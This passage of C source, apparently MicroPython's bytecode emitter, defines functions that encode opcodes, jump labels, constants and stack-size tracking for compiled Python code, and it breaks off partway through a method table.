*emit_get_cur_to_write_bytecode(emit_t *emit, int num_bytes_to_write) { //printf("emit %d\n", num_bytes_to_write); if (emit->pass < MP_PASS_EMIT) { emit->bytecode_offset += num_bytes_to_write; return emit->dummy_data; } else { assert(emit->bytecode_offset + num_bytes_to_write <= emit->bytecode_size); byte *c = emit->code_base + emit->code_info_size + emit->bytecode_offset; emit->bytecode_offset += num_bytes_to_write; return c; } } STATIC void emit_write_bytecode_byte(emit_t *emit, byte b1) { byte *c = emit_get_cur_to_write_bytecode(emit, 1); c[0] = b1; } STATIC void emit_write_bytecode_byte_byte(emit_t* emit, byte b1, byte b2) { byte *c = emit_get_cur_to_write_bytecode(emit, 2); c[0] = b1; c[1] = b2; } // Similar to emit_write_bytecode_uint(), just some extra handling to encode sign STATIC void emit_write_bytecode_byte_int(emit_t *emit, byte b1, mp_int_t num) { emit_write_bytecode_byte(emit, b1); // We store each 7 bits in a separate byte, and that's how many bytes needed byte buf[BYTES_FOR_INT]; byte *p = buf + sizeof(buf); // We encode in little-ending order, but store in big-endian, to help decoding do { *--p = num & 0x7f; num >>= 7; } while (num != 0 && num != -1); // Make sure that highest bit we stored (mask 0x40) matches sign // of the number. If not, store extra byte just to encode sign if (num == -1 && (*p & 0x40) == 0) { *--p = 0x7f; } else if (num == 0 && (*p & 0x40) != 0) { *--p = 0; } byte *c = emit_get_cur_to_write_bytecode(emit, buf + sizeof(buf) - p); while (p != buf + sizeof(buf) - 1) { *c++ = *p++ | 0x80; } *c = *p; } STATIC void emit_write_bytecode_byte_uint(emit_t *emit, byte b, mp_uint_t val) { emit_write_bytecode_byte(emit, b); emit_write_uint(emit, emit_get_cur_to_write_bytecode, val); } #if MICROPY_PERSISTENT_CODE STATIC void emit_write_bytecode_byte_const(emit_t *emit, byte b, mp_uint_t n, mp_uint_t c) { if (emit->pass == MP_PASS_EMIT) { emit->const_table[n] = c; } emit_write_bytecode_byte_uint(emit, b, n); } #endif STATIC void emit_write_bytecode_byte_qstr(emit_t* emit, byte b, qstr qst) { #if MICROPY_PERSISTENT_CODE assert((qst >> 16) == 0); byte *c = emit_get_cur_to_write_bytecode(emit, 3); c[0] = b; c[1] = qst; c[2] = qst >> 8; #else emit_write_bytecode_byte_uint(emit, b, qst); #endif } STATIC void emit_write_bytecode_byte_obj(emit_t *emit, byte b, mp_obj_t obj) { #if MICROPY_PERSISTENT_CODE emit_write_bytecode_byte_const(emit, b, emit->scope->num_pos_args + emit->scope->num_kwonly_args + emit->ct_cur_obj++, (mp_uint_t)obj); #else // aligns the pointer so it is friendly to GC emit_write_bytecode_byte(emit, b); emit->bytecode_offset = (size_t)MP_ALIGN(emit->bytecode_offset, sizeof(mp_obj_t)); mp_obj_t *c = (mp_obj_t*)emit_get_cur_to_write_bytecode(emit, sizeof(mp_obj_t)); // Verify thar c is already uint-aligned assert(c == MP_ALIGN(c, sizeof(mp_obj_t))); *c = obj; #endif } STATIC void emit_write_bytecode_byte_raw_code(emit_t *emit, byte b, mp_raw_code_t *rc) { #if MICROPY_PERSISTENT_CODE emit_write_bytecode_byte_const(emit, b, emit->scope->num_pos_args + emit->scope->num_kwonly_args + emit->ct_num_obj + emit->ct_cur_raw_code++, (mp_uint_t)(uintptr_t)rc); #else // aligns the pointer so it is friendly to GC emit_write_bytecode_byte(emit, b); emit->bytecode_offset = (size_t)MP_ALIGN(emit->bytecode_offset, sizeof(void*)); void **c = (void**)emit_get_cur_to_write_bytecode(emit, sizeof(void*)); // Verify thar c is already uint-aligned assert(c == MP_ALIGN(c, sizeof(void*))); *c = rc; #endif } // unsigned labels are relative to ip following this instruction, stored as 16 bits STATIC void emit_write_bytecode_byte_unsigned_label(emit_t *emit, byte b1, mp_uint_t label) { mp_uint_t bytecode_offset; if (emit->pass < MP_PASS_EMIT) { bytecode_offset = 0; } else { bytecode_offset = emit->label_offsets[label] - emit->bytecode_offset - 3; } byte *c = emit_get_cur_to_write_bytecode(emit, 3); c[0] = b1; c[1] = bytecode_offset; c[2] = bytecode_offset >> 8; } // signed labels are relative to ip following this instruction, stored as 16 bits, in excess STATIC void emit_write_bytecode_byte_signed_label(emit_t *emit, byte b1, mp_uint_t label) { int bytecode_offset; if (emit->pass < MP_PASS_EMIT) { bytecode_offset = 0; } else { bytecode_offset = emit->label_offsets[label] - emit->bytecode_offset - 3 + 0x8000; } byte *c = emit_get_cur_to_write_bytecode(emit, 3); c[0] = b1; c[1] = bytecode_offset; c[2] = bytecode_offset >> 8; } void mp_emit_bc_start_pass(emit_t *emit, pass_kind_t pass, scope_t *scope) { emit->pass = pass; emit->stack_size = 0; emit->last_emit_was_return_value = false; emit->scope = scope; emit->last_source_line_offset = 0; emit->last_source_line = 1; if (pass < MP_PASS_EMIT) { memset(emit->label_offsets, -1, emit->max_num_labels * sizeof(mp_uint_t)); } emit->bytecode_offset = 0; emit->code_info_offset = 0; // Write local state size and exception stack size. { mp_uint_t n_state = scope->num_locals + scope->stack_size; if (n_state == 0) { // Need at least 1 entry in the state, in the case an exception is // propagated through this function, the exception is returned in // the highest slot in the state (fastn[0], see vm.c). n_state = 1; } emit_write_code_info_uint(emit, n_state); emit_write_code_info_uint(emit, scope->exc_stack_size); } // Write scope flags and number of arguments. // TODO check that num args all fit in a byte emit_write_code_info_byte(emit, emit->scope->scope_flags); emit_write_code_info_byte(emit, emit->scope->num_pos_args); emit_write_code_info_byte(emit, emit->scope->num_kwonly_args); emit_write_code_info_byte(emit, emit->scope->num_def_pos_args); // Write size of the rest of the code info. We don't know how big this // variable uint will be on the MP_PASS_CODE_SIZE pass so we reserve 2 bytes // for it and hope that is enough! TODO assert this or something. if (pass == MP_PASS_EMIT) { emit_write_code_info_uint(emit, emit->code_info_size - emit->code_info_offset); } else { emit_get_cur_to_write_code_info(emit, 2); } // Write the name and source file of this function. emit_write_code_info_qstr(emit, scope->simple_name); emit_write_code_info_qstr(emit, scope->source_file); // bytecode prelude: initialise closed over variables for (int i = 0; i < scope->id_info_len; i++) { id_info_t *id = &scope->id_info[i]; if (id->kind == ID_INFO_KIND_CELL) { assert(id->local_num < 255); emit_write_bytecode_byte(emit, id->local_num); // write the local which should be converted to a cell } } emit_write_bytecode_byte(emit, 255); // end of list sentinel #if MICROPY_PERSISTENT_CODE emit->ct_cur_obj = 0; emit->ct_cur_raw_code = 0; #endif if (pass == MP_PASS_EMIT) { // Write argument names (needed to resolve positional args passed as // keywords). We store them as full word-sized objects for efficient access // in mp_setup_code_state this is the start of the prelude and is guaranteed // to be aligned on a word boundary. // For a given argument position (indexed by i) we need to find the // corresponding id_info which is a parameter, as it has the correct // qstr name to use as the argument name. Note that it's not a simple // 1-1 mapping (ie i!=j in general) because of possible closed-over // variables. In the case that the argument i has no corresponding // parameter we use "*" as its name (since no argument can ever be named // "*"). We could use a blank qstr but "*" is better for debugging. // Note: there is some wasted RAM here for the case of storing a qstr // for each closed-over variable, and maybe there is a better way to do // it, but that would require changes to mp_setup_code_state. for (int i = 0; i < scope->num_pos_args + scope->num_kwonly_args; i++) { qstr qst = MP_QSTR__star_; for (int j = 0; j < scope->id_info_len; ++j) { id_info_t *id = &scope->id_info[j]; if ((id->flags & ID_FLAG_IS_PARAM) && id->local_num == i) { qst = id->qst; break; } } emit->const_table[i] = (mp_uint_t)MP_OBJ_NEW_QSTR(qst); } } } void mp_emit_bc_end_pass(emit_t *emit) { if (emit->pass == MP_PASS_SCOPE) { return; } // check stack is back to zero size assert(emit->stack_size == 0); emit_write_code_info_byte(emit, 0); // end of line number info #if MICROPY_PERSISTENT_CODE assert(emit->pass <= MP_PASS_STACK_SIZE || (emit->ct_num_obj == emit->ct_cur_obj)); emit->ct_num_obj = emit->ct_cur_obj; #endif if (emit->pass == MP_PASS_CODE_SIZE) { #if !MICROPY_PERSISTENT_CODE // so bytecode is aligned emit->code_info_offset = (size_t)MP_ALIGN(emit->code_info_offset, sizeof(mp_uint_t)); #endif // calculate size of total code-info + bytecode, in bytes emit->code_info_size = emit->code_info_offset; emit->bytecode_size = emit->bytecode_offset; emit->code_base = m_new0(byte, emit->code_info_size + emit->bytecode_size); #if MICROPY_PERSISTENT_CODE emit->const_table = m_new0(mp_uint_t, emit->scope->num_pos_args + emit->scope->num_kwonly_args + emit->ct_cur_obj + emit->ct_cur_raw_code); #else emit->const_table = m_new0(mp_uint_t, emit->scope->num_pos_args + emit->scope->num_kwonly_args); #endif } else if (emit->pass == MP_PASS_EMIT) { mp_emit_glue_assign_bytecode(emit->scope->raw_code, emit->code_base, emit->code_info_size + emit->bytecode_size, emit->const_table, #if MICROPY_PERSISTENT_CODE_SAVE emit->ct_cur_obj, emit->ct_cur_raw_code, #endif emit->scope->scope_flags); } } bool mp_emit_bc_last_emit_was_return_value(emit_t *emit) { return emit->last_emit_was_return_value; } void mp_emit_bc_adjust_stack_size(emit_t *emit, mp_int_t delta) { if (emit->pass == MP_PASS_SCOPE) { return; } assert((mp_int_t)emit->stack_size + delta >= 0); emit->stack_size += delta; if (emit->stack_size > emit->scope->stack_size) { emit->scope->stack_size = emit->stack_size; } emit->last_emit_was_return_value = false; } static inline void emit_bc_pre(emit_t *emit, mp_int_t stack_size_delta) { mp_emit_bc_adjust_stack_size(emit, stack_size_delta); } void mp_emit_bc_set_source_line(emit_t *emit, mp_uint_t source_line) { //printf("source: line %d -> %d offset %d -> %d\n", emit->last_source_line, source_line, emit->last_source_line_offset, emit->bytecode_offset); #if MICROPY_ENABLE_SOURCE_LINE if (MP_STATE_VM(mp_optimise_value) >= 3) { // If we compile with -O3, don't store line numbers. return; } if (source_line > emit->last_source_line) { mp_uint_t bytes_to_skip = emit->bytecode_offset - emit->last_source_line_offset; mp_uint_t lines_to_skip = source_line - emit->last_source_line; emit_write_code_info_bytes_lines(emit, bytes_to_skip, lines_to_skip); emit->last_source_line_offset = emit->bytecode_offset; emit->last_source_line = source_line; } #else (void)emit; (void)source_line; #endif } void mp_emit_bc_label_assign(emit_t *emit, mp_uint_t l) { emit_bc_pre(emit, 0); if (emit->pass == MP_PASS_SCOPE) { return; } assert(l < emit->max_num_labels); if (emit->pass < MP_PASS_EMIT) { // assign label offset assert(emit->label_offsets[l] == (mp_uint_t)-1); emit->label_offsets[l] = emit->bytecode_offset; } else { // ensure label offset has not changed from MP_PASS_CODE_SIZE to MP_PASS_EMIT //printf("l%d: (at %d vs %d)\n", l, emit->bytecode_offset, emit->label_offsets[l]); assert(emit->label_offsets[l] == emit->bytecode_offset); } } void mp_emit_bc_import_name(emit_t *emit, qstr qst) { emit_bc_pre(emit, -1); emit_write_bytecode_byte_qstr(emit, MP_BC_IMPORT_NAME, qst); } void mp_emit_bc_import_from(emit_t *emit, qstr qst) { emit_bc_pre(emit, 1); emit_write_bytecode_byte_qstr(emit, MP_BC_IMPORT_FROM, qst); } void mp_emit_bc_import_star(emit_t *emit) { emit_bc_pre(emit, -1); emit_write_bytecode_byte(emit, MP_BC_IMPORT_STAR); } void mp_emit_bc_load_const_tok(emit_t *emit, mp_token_kind_t tok) { emit_bc_pre(emit, 1); switch (tok) { case MP_TOKEN_KW_FALSE: emit_write_bytecode_byte(emit, MP_BC_LOAD_CONST_FALSE); break; case MP_TOKEN_KW_NONE: emit_write_bytecode_byte(emit, MP_BC_LOAD_CONST_NONE); break; case MP_TOKEN_KW_TRUE: emit_write_bytecode_byte(emit, MP_BC_LOAD_CONST_TRUE); break; default: assert(tok == MP_TOKEN_ELLIPSIS); emit_write_bytecode_byte_obj(emit, MP_BC_LOAD_CONST_OBJ, MP_OBJ_FROM_PTR(&mp_const_ellipsis_obj)); break; } } void mp_emit_bc_load_const_small_int(emit_t *emit, mp_int_t arg) { emit_bc_pre(emit, 1); if (-16 <= arg && arg <= 47) { emit_write_bytecode_byte(emit, MP_BC_LOAD_CONST_SMALL_INT_MULTI + 16 + arg); } else { emit_write_bytecode_byte_int(emit, MP_BC_LOAD_CONST_SMALL_INT, arg); } } void mp_emit_bc_load_const_str(emit_t *emit, qstr qst) { emit_bc_pre(emit, 1); emit_write_bytecode_byte_qstr(emit, MP_BC_LOAD_CONST_STRING, qst); } void mp_emit_bc_load_const_obj(emit_t *emit, mp_obj_t obj) { emit_bc_pre(emit, 1); emit_write_bytecode_byte_obj(emit, MP_BC_LOAD_CONST_OBJ, obj); } void mp_emit_bc_load_null(emit_t *emit) { emit_bc_pre(emit, 1); emit_write_bytecode_byte(emit, MP_BC_LOAD_NULL); }; void mp_emit_bc_load_fast(emit_t *emit, qstr qst, mp_uint_t local_num) { (void)qst; emit_bc_pre(emit, 1); if (local_num <= 15) { emit_write_bytecode_byte(emit, MP_BC_LOAD_FAST_MULTI + local_num); } else { emit_write_bytecode_byte_uint(emit, MP_BC_LOAD_FAST_N, local_num); } } void mp_emit_bc_load_deref(emit_t *emit, qstr qst, mp_uint_t local_num) { (void)qst; emit_bc_pre(emit, 1); emit_write_bytecode_byte_uint(emit, MP_BC_LOAD_DEREF, local_num); } void mp_emit_bc_load_name(emit_t *emit, qstr qst) { (void)qst; emit_bc_pre(emit, 1); emit_write_bytecode_byte_qstr(emit, MP_BC_LOAD_NAME, qst); if (MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE_DYNAMIC) { emit_write_bytecode_byte(emit, 0); } } void mp_emit_bc_load_global(emit_t *emit, qstr qst) { (void)qst; emit_bc_pre(emit, 1); emit_write_bytecode_byte_qstr(emit, MP_BC_LOAD_GLOBAL, qst); if (MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE_DYNAMIC) { emit_write_bytecode_byte(emit, 0); } } void mp_emit_bc_load_attr(emit_t *emit, qstr qst) { emit_bc_pre(emit, 0); emit_write_bytecode_byte_qstr(emit, MP_BC_LOAD_ATTR, qst); if (MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE_DYNAMIC) { emit_write_bytecode_byte(emit, 0); } } void mp_emit_bc_load_method(emit_t *emit, qstr qst, bool is_super) { emit_bc_pre(emit, 1 - 2 * is_super); emit_write_bytecode_byte_qstr(emit, is_super ? MP_BC_LOAD_SUPER_METHOD : MP_BC_LOAD_METHOD, qst); } void mp_emit_bc_load_build_class(emit_t *emit) { emit_bc_pre(emit, 1); emit_write_bytecode_byte(emit, MP_BC_LOAD_BUILD_CLASS); } void mp_emit_bc_load_subscr(emit_t *emit) { emit_bc_pre(emit, -1); emit_write_bytecode_byte(emit, MP_BC_LOAD_SUBSCR); } void mp_emit_bc_store_fast(emit_t *emit, qstr qst, mp_uint_t local_num) { (void)qst; emit_bc_pre(emit, -1); if (local_num <= 15) { emit_write_bytecode_byte(emit, MP_BC_STORE_FAST_MULTI + local_num); } else { emit_write_bytecode_byte_uint(emit, MP_BC_STORE_FAST_N, local_num); } } void mp_emit_bc_store_deref(emit_t *emit, qstr qst, mp_uint_t local_num) { (void)qst; emit_bc_pre(emit, -1); emit_write_bytecode_byte_uint(emit, MP_BC_STORE_DEREF, local_num); } void mp_emit_bc_store_name(emit_t *emit, qstr qst) { emit_bc_pre(emit, -1); emit_write_bytecode_byte_qstr(emit, MP_BC_STORE_NAME, qst); } void mp_emit_bc_store_global(emit_t *emit, qstr qst) { emit_bc_pre(emit, -1); emit_write_bytecode_byte_qstr(emit, MP_BC_STORE_GLOBAL, qst); } void mp_emit_bc_store_attr(emit_t *emit, qstr qst) { emit_bc_pre(emit, -2); emit_write_bytecode_byte_qstr(emit, MP_BC_STORE_ATTR, qst); if (MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE_DYNAMIC) { emit_write_bytecode_byte(emit, 0); } } void mp_emit_bc_store_subscr(emit_t *emit) { emit_bc_pre(emit, -3); emit_write_bytecode_byte(emit, MP_BC_STORE_SUBSCR); } void mp_emit_bc_delete_fast(emit_t *emit, qstr qst, mp_uint_t local_num) { (void)qst; emit_write_bytecode_byte_uint(emit, MP_BC_DELETE_FAST, local_num); } void mp_emit_bc_delete_deref(emit_t *emit, qstr qst, mp_uint_t local_num) { (void)qst; emit_write_bytecode_byte_uint(emit, MP_BC_DELETE_DEREF, local_num); } void mp_emit_bc_delete_name(emit_t *emit, qstr qst) { emit_bc_pre(emit, 0); emit_write_bytecode_byte_qstr(emit, MP_BC_DELETE_NAME, qst); } void mp_emit_bc_delete_global(emit_t *emit, qstr qst) { emit_bc_pre(emit, 0); emit_write_bytecode_byte_qstr(emit, MP_BC_DELETE_GLOBAL, qst); } void mp_emit_bc_delete_attr(emit_t *emit, qstr qst) { mp_emit_bc_load_null(emit); mp_emit_bc_rot_two(emit); mp_emit_bc_store_attr(emit, qst); } void mp_emit_bc_delete_subscr(emit_t *emit) { mp_emit_bc_load_null(emit); mp_emit_bc_rot_three(emit); mp_emit_bc_store_subscr(emit); } void mp_emit_bc_dup_top(emit_t *emit) { emit_bc_pre(emit, 1); emit_write_bytecode_byte(emit, MP_BC_DUP_TOP); } void mp_emit_bc_dup_top_two(emit_t *emit) { emit_bc_pre(emit, 2); emit_write_bytecode_byte(emit, MP_BC_DUP_TOP_TWO); } void mp_emit_bc_pop_top(emit_t *emit) { emit_bc_pre(emit, -1); emit_write_bytecode_byte(emit, MP_BC_POP_TOP); } void mp_emit_bc_rot_two(emit_t *emit) { emit_bc_pre(emit, 0); emit_write_bytecode_byte(emit, MP_BC_ROT_TWO); } void mp_emit_bc_rot_three(emit_t *emit) { emit_bc_pre(emit, 0); emit_write_bytecode_byte(emit, MP_BC_ROT_THREE); } void mp_emit_bc_jump(emit_t *emit, mp_uint_t label) { emit_bc_pre(emit, 0); emit_write_bytecode_byte_signed_label(emit, MP_BC_JUMP, label); } void mp_emit_bc_pop_jump_if(emit_t *emit, bool cond, mp_uint_t label) { emit_bc_pre(emit, -1); if (cond) { emit_write_bytecode_byte_signed_label(emit, MP_BC_POP_JUMP_IF_TRUE, label); } else { emit_write_bytecode_byte_signed_label(emit, MP_BC_POP_JUMP_IF_FALSE, label); } } void mp_emit_bc_jump_if_or_pop(emit_t *emit, bool cond, mp_uint_t label) { emit_bc_pre(emit, -1); if (cond) { emit_write_bytecode_byte_signed_label(emit, MP_BC_JUMP_IF_TRUE_OR_POP, label); } else { emit_write_bytecode_byte_signed_label(emit, MP_BC_JUMP_IF_FALSE_OR_POP, label); } } void mp_emit_bc_unwind_jump(emit_t *emit, mp_uint_t label, mp_uint_t except_depth) { if (except_depth == 0) { emit_bc_pre(emit, 0); if (label & MP_EMIT_BREAK_FROM_FOR) { // need to pop the iterator if we are breaking out of a for loop emit_write_bytecode_byte(emit, MP_BC_POP_TOP); // also pop the iter_buf for (size_t i = 0; i < MP_OBJ_ITER_BUF_NSLOTS - 1; ++i) { emit_write_bytecode_byte(emit, MP_BC_POP_TOP); } } emit_write_bytecode_byte_signed_label(emit, MP_BC_JUMP, label & ~MP_EMIT_BREAK_FROM_FOR); } else { emit_write_bytecode_byte_signed_label(emit, MP_BC_UNWIND_JUMP, label & ~MP_EMIT_BREAK_FROM_FOR); emit_write_bytecode_byte(emit, ((label & MP_EMIT_BREAK_FROM_FOR) ? 0x80 : 0) | except_depth); } } void mp_emit_bc_setup_with(emit_t *emit, mp_uint_t label) { // The SETUP_WITH opcode pops ctx_mgr from the top of the stack // and then pushes 3 entries: __exit__, ctx_mgr, as_value. emit_bc_pre(emit, 2); emit_write_bytecode_byte_unsigned_label(emit, MP_BC_SETUP_WITH, label); } void mp_emit_bc_with_cleanup(emit_t *emit, mp_uint_t label) { mp_emit_bc_pop_block(emit); mp_emit_bc_load_const_tok(emit, MP_TOKEN_KW_NONE); mp_emit_bc_label_assign(emit, label); emit_bc_pre(emit, 2); // ensure we have enough stack space to call the __exit__ method emit_write_bytecode_byte(emit, MP_BC_WITH_CLEANUP); emit_bc_pre(emit, -4); // cancel the 2 above, plus the 2 from mp_emit_bc_setup_with } void mp_emit_bc_setup_except(emit_t *emit, mp_uint_t label) { emit_bc_pre(emit, 0); emit_write_bytecode_byte_unsigned_label(emit, MP_BC_SETUP_EXCEPT, label); } void mp_emit_bc_setup_finally(emit_t *emit, mp_uint_t label) { emit_bc_pre(emit, 0); emit_write_bytecode_byte_unsigned_label(emit, MP_BC_SETUP_FINALLY, label); } void mp_emit_bc_end_finally(emit_t *emit) { emit_bc_pre(emit, -1); emit_write_bytecode_byte(emit, MP_BC_END_FINALLY); } void mp_emit_bc_get_iter(emit_t *emit, bool use_stack) { emit_bc_pre(emit, use_stack ? MP_OBJ_ITER_BUF_NSLOTS - 1 : 0); emit_write_bytecode_byte(emit, use_stack ? MP_BC_GET_ITER_STACK : MP_BC_GET_ITER); } void mp_emit_bc_for_iter(emit_t *emit, mp_uint_t label) { emit_bc_pre(emit, 1); emit_write_bytecode_byte_unsigned_label(emit, MP_BC_FOR_ITER, label); } void mp_emit_bc_for_iter_end(emit_t *emit) { emit_bc_pre(emit, -MP_OBJ_ITER_BUF_NSLOTS); } void mp_emit_bc_pop_block(emit_t *emit) { emit_bc_pre(emit, 0); emit_write_bytecode_byte(emit, MP_BC_POP_BLOCK); } void mp_emit_bc_pop_except(emit_t *emit) { emit_bc_pre(emit, 0); emit_write_bytecode_byte(emit, MP_BC_POP_EXCEPT); } void mp_emit_bc_unary_op(emit_t *emit, mp_unary_op_t op) { emit_bc_pre(emit, 0); emit_write_bytecode_byte(emit, MP_BC_UNARY_OP_MULTI + op); } void mp_emit_bc_binary_op(emit_t *emit, mp_binary_op_t op) { bool invert = false; if (op == MP_BINARY_OP_NOT_IN) { invert = true; op = MP_BINARY_OP_IN; } else if (op == MP_BINARY_OP_IS_NOT) { invert = true; op = MP_BINARY_OP_IS; } emit_bc_pre(emit, -1); emit_write_bytecode_byte(emit, MP_BC_BINARY_OP_MULTI + op); if (invert) { emit_bc_pre(emit, 0); emit_write_bytecode_byte(emit, MP_BC_UNARY_OP_MULTI + MP_UNARY_OP_NOT); } } void mp_emit_bc_build_tuple(emit_t *emit, mp_uint_t n_args) { emit_bc_pre(emit, 1 - n_args); emit_write_bytecode_byte_uint(emit, MP_BC_BUILD_TUPLE, n_args); } void mp_emit_bc_build_list(emit_t *emit, mp_uint_t n_args) { emit_bc_pre(emit, 1 - n_args); emit_write_bytecode_byte_uint(emit, MP_BC_BUILD_LIST, n_args); } void mp_emit_bc_build_map(emit_t *emit, mp_uint_t n_args) { emit_bc_pre(emit, 1); emit_write_bytecode_byte_uint(emit, MP_BC_BUILD_MAP, n_args); } void mp_emit_bc_store_map(emit_t *emit) { emit_bc_pre(emit, -2); emit_write_bytecode_byte(emit, MP_BC_STORE_MAP); } #if MICROPY_PY_BUILTINS_SET void mp_emit_bc_build_set(emit_t *emit, mp_uint_t n_args) { emit_bc_pre(emit, 1 - n_args); emit_write_bytecode_byte_uint(emit, MP_BC_BUILD_SET, n_args); } #endif #if MICROPY_PY_BUILTINS_SLICE void mp_emit_bc_build_slice(emit_t *emit, mp_uint_t n_args) { emit_bc_pre(emit, 1 - n_args); emit_write_bytecode_byte_uint(emit, MP_BC_BUILD_SLICE, n_args); } #endif void mp_emit_bc_store_comp(emit_t *emit, scope_kind_t kind, mp_uint_t collection_stack_index) { int t; int n; if (kind == SCOPE_LIST_COMP) { n = 0; t = 0; } else if (!MICROPY_PY_BUILTINS_SET || kind == SCOPE_DICT_COMP) { n = 1; t = 1; } else if (MICROPY_PY_BUILTINS_SET) { n = 0; t = 2; } emit_bc_pre(emit, -1 - n); // the lower 2 bits of the opcode argument indicate the collection type emit_write_bytecode_byte_uint(emit, MP_BC_STORE_COMP, ((collection_stack_index + n) << 2) | t); } void mp_emit_bc_unpack_sequence(emit_t *emit, mp_uint_t n_args) { emit_bc_pre(emit, -1 + n_args); emit_write_bytecode_byte_uint(emit, MP_BC_UNPACK_SEQUENCE, n_args); } void mp_emit_bc_unpack_ex(emit_t *emit, mp_uint_t n_left, mp_uint_t n_right) { emit_bc_pre(emit, -1 + n_left + n_right + 1); emit_write_bytecode_byte_uint(emit, MP_BC_UNPACK_EX, n_left | (n_right << 8)); } void mp_emit_bc_make_function(emit_t *emit, scope_t *scope, mp_uint_t n_pos_defaults, mp_uint_t n_kw_defaults) { if (n_pos_defaults == 0 && n_kw_defaults == 0) { emit_bc_pre(emit, 1); emit_write_bytecode_byte_raw_code(emit, MP_BC_MAKE_FUNCTION, scope->raw_code); } else { emit_bc_pre(emit, -1); emit_write_bytecode_byte_raw_code(emit, MP_BC_MAKE_FUNCTION_DEFARGS, scope->raw_code); } } void mp_emit_bc_make_closure(emit_t *emit, scope_t *scope, mp_uint_t n_closed_over, mp_uint_t n_pos_defaults, mp_uint_t n_kw_defaults) { if (n_pos_defaults == 0 && n_kw_defaults == 0) { emit_bc_pre(emit, -n_closed_over + 1); emit_write_bytecode_byte_raw_code(emit, MP_BC_MAKE_CLOSURE, scope->raw_code); emit_write_bytecode_byte(emit, n_closed_over); } else { assert(n_closed_over <= 255); emit_bc_pre(emit, -2 - (mp_int_t)n_closed_over + 1); emit_write_bytecode_byte_raw_code(emit, MP_BC_MAKE_CLOSURE_DEFARGS, scope->raw_code); emit_write_bytecode_byte(emit, n_closed_over); } } STATIC void emit_bc_call_function_method_helper(emit_t *emit, mp_int_t stack_adj, mp_uint_t bytecode_base, mp_uint_t n_positional, mp_uint_t n_keyword, mp_uint_t star_flags) { if (star_flags) { emit_bc_pre(emit, stack_adj - (mp_int_t)n_positional - 2 * (mp_int_t)n_keyword - 2); emit_write_bytecode_byte_uint(emit, bytecode_base + 1, (n_keyword << 8) | n_positional); // TODO make it 2 separate uints? } else { emit_bc_pre(emit, stack_adj - (mp_int_t)n_positional - 2 * (mp_int_t)n_keyword); emit_write_bytecode_byte_uint(emit, bytecode_base, (n_keyword << 8) | n_positional); // TODO make it 2 separate uints? } } void mp_emit_bc_call_function(emit_t *emit, mp_uint_t n_positional, mp_uint_t n_keyword, mp_uint_t star_flags) { emit_bc_call_function_method_helper(emit, 0, MP_BC_CALL_FUNCTION, n_positional, n_keyword, star_flags); } void mp_emit_bc_call_method(emit_t *emit, mp_uint_t n_positional, mp_uint_t n_keyword, mp_uint_t star_flags) { emit_bc_call_function_method_helper(emit, -1, MP_BC_CALL_METHOD, n_positional, n_keyword, star_flags); } void mp_emit_bc_return_value(emit_t *emit) { emit_bc_pre(emit, -1); emit->last_emit_was_return_value = true; emit_write_bytecode_byte(emit, MP_BC_RETURN_VALUE); } void mp_emit_bc_raise_varargs(emit_t *emit, mp_uint_t n_args) { assert(n_args <= 2); emit_bc_pre(emit, -n_args); emit_write_bytecode_byte_byte(emit, MP_BC_RAISE_VARARGS, n_args); } void mp_emit_bc_yield_value(emit_t *emit) { emit_bc_pre(emit, 0); emit->scope->scope_flags |= MP_SCOPE_FLAG_GENERATOR; emit_write_bytecode_byte(emit, MP_BC_YIELD_VALUE); } void mp_emit_bc_yield_from(emit_t *emit) { emit_bc_pre(emit, -1); emit->scope->scope_flags |= MP_SCOPE_FLAG_GENERATOR; emit_write_bytecode_byte(emit, MP_BC_YIELD_FROM); } void mp_emit_bc_start_except_handler(emit_t *emit) { mp_emit_bc_adjust_stack_size(emit, 4); // stack adjust for the exception instance, +3 for possible UNWIND_JUMP state } void mp_emit_bc_end_except_handler(emit_t *emit) { mp_emit_bc_adjust_stack_size(emit, -3); // stack adjust } #if MICROPY_EMIT_NATIVE const emit_method_table_t emit_bc_method_table = { NULL, // set_native_type is never called when emitting bytecode mp_emit_bc_start_pass, mp_emit_bc_end_pass, mp_emit_bc_last_emit_was_return_value, mp_emit_bc_adjust_stack_size, mp_emit_bc_set_source_line, { mp_emit_bc_load_fast, mp_emit_bc_load_deref, mp_emit_bc_load_name, mp_emit_bc_load_global, }, { mp_emit_bc_store_fast, mp_emit_bc_store_deref, mp_emit_bc_store_name, mp_emit_bc_store_global, }, { mp_emit_bc_delete_fast, mp_emit_bc_delete_deref, mp_emit_bc_delete_name, mp_emit_bc_delete_global, }, mp_emit_bc_label_assign, mp_emit_bc_import_name, mp_emit_bc_import_from, mp_emit_bc_import_star, mp_emit_bc_load_const_tok, mp_emit_bc_load_const_small_int, mp_emit_bc_load_const_str, mp_emit_bc_load_const_obj, mp_emit_bc_load_null, mp_emit_bc_load_attr, mp_emit_bc_load_method, mp_emit_bc_load_build_class, mp_emit_bc_load_subscr, mp_emit_bc_store_attr, mp_emit_bc_store_subscr, mp_emit_bc_delete_attr, mp_emit_bc_delete_subscr, mp_emit_bc_dup_top, mp_emit_bc_dup_top_two, mp_emit_bc_pop_top, mp_emit_bc_rot_two, mp_emit_bc_rot_three, mp_emit_bc_jump, mp_emit_bc_pop_jump_if, mp_emit_bc_jump_if_or_pop, mp_emit_bc_unwind_jump, mp_emit_bc_unwind_jump, mp_emit_bc_setup_with, mp_emit_bc_with_cleanup, mp_emit_bc_setup_except, mp_emit_bc_setup_finally, mp_emit_bc_end_finally, mp_emit_bc_get_iter, mp_emit_bc_for_iter, mp_emit_bc_for_iter_end, mp_emit_bc_pop_block, mp_emit_bc_pop_except, mp_emit_bc_unary_op, mp_emit_bc_binary_op, mp_emit_bc_build_tuple, mp_emit_bc_build_list, mp_emit_bc_build_map, mp_emit_bc_store_map, #if MICROPY_PY_BUILTINS_SET mp_emit_bc_build_set, #endif #if MICROPY_PY_BUILTINS_SLICE mp_emit_bc_build_slice, #endif mp_emit_bc_store_comp, mp_emit_bc_unpack_sequence, mp_emit_bc_unpack_ex, mp_emit_bc_make_function, mp_emit_bc_make_closure, mp_emit_bc_call_function, mp_emit_bc_call_method, mp_emit_bc_return_value, mp_emit_bc_raise_varargs, mp_emit_bc_yield_value, mp_emit_bc_yield_from, mp_emit_bc_start_except_handler, mp_emit_bc_end_except_handler, }; #else const mp_emit_method_table_id_ops_t mp_emit_bc_method_table_load_id_ops = { mp_emit_bc_load_fast, mp_emit_bc_load_deref, 